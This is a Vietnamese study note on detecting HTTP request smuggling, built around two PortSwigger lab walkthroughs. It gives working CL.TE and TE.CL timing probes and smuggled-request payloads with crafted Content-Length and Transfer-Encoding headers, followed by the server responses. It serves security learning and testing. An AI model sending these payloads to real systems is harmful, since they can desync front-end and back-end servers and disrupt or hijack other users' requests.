Cách tìm lỗ hổng request smuggling?
Sử dụng Burp Suite để phát hiện lỗ hổng request smuggling.
Sử dụng kỹ thuật thời gian
Gửi request với body bắt đầu bằng Transfer-Encoding: chunked
và chunk với độ dài lớn, chờ timeout.
Nếu front-end sử dụng chunked và back-end không, response sẽ delay.
Tìm lỗ hổng CL.TE bằng kỹ thuật thời gian
Nếu ứng dụng dễ bị biến thể CL.TE của request smuggling, thì gửi request như sau thường gây delay thời gian:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X <-- Start of next request
Vì front-end server sử dụng header Transfer-Encoding
, nó forward chỉ phần của request này (dài 5 byte, là 0\r\n\r\n
), bỏ qua X
. Back-end server sử dụng header Content-Length
, mong đợi thêm content trong body tin nhắn, và chờ content còn lại đến. Điều này gây delay thời gian observable.
Note
Test timing-based cho lỗ hổng TE.CL có thể disrupt user khác của ứng dụng nếu ứng dụng dễ bị biến thể CL.TE của lỗ hổng. Vậy để stealthy và minimize disruption, bạn nên sử dụng test CL.TE trước và tiếp tục test TE.CL chỉ nếu test đầu tiên thất bại.
Phân tích sự khác biệt trong response
Phân tích sự khác biệt trong response để xác nhận smuggling.
Khi lỗ hổng request smuggling có thể đã được phát hiện, bạn có thể gửi hai request đến ứng dụng nhanh chóng:
- Request “attack” được thiết kế để interfere với xử lý của request tiếp theo.
- Request “normal”.
Nếu response cho request normal chứa interference mong đợi, thì lỗ hổng được xác nhận.
Lab: HTTP Request Smuggling, Confirming a CL.TE Vulnerability via Differential Responses
Abstract
Front-end server không hỗ trợ chunked encoding.
Để giải lab, smuggle request đến back-end server, để request tiếp theo cho
/
(web root) kích hoạt response 404 Not Found.
Sử dụng kỹ thuật trên để xác định lỗ hổng CL.TE:
POST / HTTP/1.1
Content-Length: 1
Transfer-Encoding: chunked
1
Khi back-end server xử lý body request, nó thấy chunk size là 1
byte và chờ byte đó, không bao giờ đến. Điều này gây lỗi timeout như này:
HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 125
<html><head><title>Server Error: Proxy error</title></head><body><h1>Server Error: Communication timed out</h1></body></html>
Sử dụng request này để xác nhận cũng như giải lab:
POST / HTTP/1.1
Content-Length: 28
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo:
Đây là cách chúng ta xây dựng request trên:
Chúng ta cần sử dụng 0
để kết thúc request đầu tiên.
Để giải lab, chúng ta smuggle request đến endpoint không tồn tại (/404
) để kích hoạt response với status code 404.
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
Set-Cookie: session=DvNl80jGkRvxKLQZM2GYKYUFJsuION9m; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 11
"Not Found"
Chúng ta cũng cần thêm trailing header (Foo:
) để chuyển dòng request của request tiếp theo thành header như này:
GET /404 HTTP/1.1
Foo:GET / HTTP/2
Host: 0ac600d703c3c475853dd575009f003f.web-security-academy.net
Lab: HTTP Request Smuggling, Confirming a TE.CL Vulnerability via Differential Responses
Abstract
Back-end server không hỗ trợ chunked encoding.
Để giải lab, smuggle request đến back-end server, để request tiếp theo cho
/
(web root) kích hoạt response 404 Not Found.
Đầu tiên, xác định lỗ hổng TE.CL bằng cách sử dụng request này:
POST / HTTP/1.1
Content-Length: 6
Transfer-Encoding: chunked
0
Vì chúng ta chỉ định Content-Length
là 6, back-end server, sử dụng header này để xác định kết thúc của request, sẽ chờ byte tiếp theo vì chỉ nhận 5 byte từ front-end server (0\r\n\r\n
). Điều này gây lỗi timeout như này:
HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 125
<html><head><title>Server Error: Proxy error</title></head><body><h1>Server Error: Communication timed out</h1></body></html>
Sử dụng request này để giải lab:
POST / HTTP/1.1
Content-Length: 4
Transfer-Encoding: chunked
26
GET /404 HTTP/1.1
Content-Length: 6
0
Số 26
(38 decimal) là độ dài của content giữa 26
và 0
(34
byte cho text và 4
byte cho hai chuỗi \r\n
cuối cùng).
Ngoài ra, chúng ta cần thêm Content-Length
với giá trị tối thiểu là 6
. Lý do là khi request tiếp theo được gửi, nó sẽ bị interfere như này:
GET /404 HTTP/1.1
Content-Length: 6
0
POST / HTTP/1.1
Transfer-Encoding: chunked
Content-Length: 4
...
Nếu Content-Length
là 5
(độ dài của 0/r/n/r/n
), backend server sẽ gửi GET /404
và sau đó POST /
, không phải những gì chúng ta muốn.
Để bypass này, chúng ta tăng Content-Length
lên 6
, khiến backend server queue request GET /404
để chờ một byte nữa trước khi gửi.
Lab này khác với Lab HTTP Request Smuggling, Basic TE.CL Vulnerability vì lab này sẽ không queue bất kỳ data nào nếu không phải request hợp lệ. Cụ thể, khi gửi request này:
POST / HTTP/1.1
Content-Length: 2
Transfer-Encoding: chunked
8
SMUGGLED
0
Response của sẽ giống với request gốc (request không có header Transfer-Encoding: chunked
):
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=XFlal07qcu8o2zp9tvwZ1mYOm7tWVWdJ; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 11355
...
Thay vì:
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 35
"Unrecognized method SMUGGLED0POST"
Liên quan
list
from outgoing([[Port Swigger - Finding HTTP Request Smuggling Vulnerabilities]])
sort file.ctime asc
Ghi chú
Note
Một số cân nhắc quan trọng nên được ghi nhớ khi cố gắng xác nhận lỗ hổng request smuggling qua interference với request khác:
- Request “attack” và request “normal” nên được gửi đến server sử dụng kết nối mạng khác nhau. Gửi cả hai request qua cùng kết nối sẽ không chứng minh lỗ hổng tồn tại.
- Request “attack” và request “normal” nên sử dụng cùng URL và tên parameter, càng nhiều càng tốt. Điều này vì nhiều ứng dụng hiện đại route request front-end đến back-end server khác nhau dựa trên URL và parameter. Sử dụng cùng URL và parameter tăng cơ hội request được xử lý bởi cùng back-end server, cần thiết để tấn công hoạt động.
- Khi test request “normal” để phát hiện bất kỳ interference nào từ request “attack”, bạn đang race với bất kỳ request nào ứng dụng nhận cùng lúc, bao gồm từ user khác. Bạn nên gửi request “normal” ngay sau request “attack”. Nếu ứng dụng bận, bạn có thể cần thực hiện nhiều lần để xác nhận lỗ hổng.
- Trong một số ứng dụng, front-end server hoạt động như load balancer, và forward request đến back-end system khác nhau theo thuật toán load balancing. Nếu request “attack” và “normal” được forward đến back-end system khác nhau, thì tấn công sẽ thất bại. Đây là lý do bổ sung tại sao bạn có thể cần thử nhiều lần trước khi lỗ hổng có thể được xác nhận.
- Nếu tấn công thành công trong interfere với request tiếp theo, nhưng đây không phải request “normal” bạn gửi để phát hiện interference, thì điều này nghĩa là user ứng dụng khác bị ảnh hưởng bởi tấn công của bạn. Nếu bạn tiếp tục thực hiện test, điều này có thể có tác động disruptive đến user khác, và bạn nên thận trọng.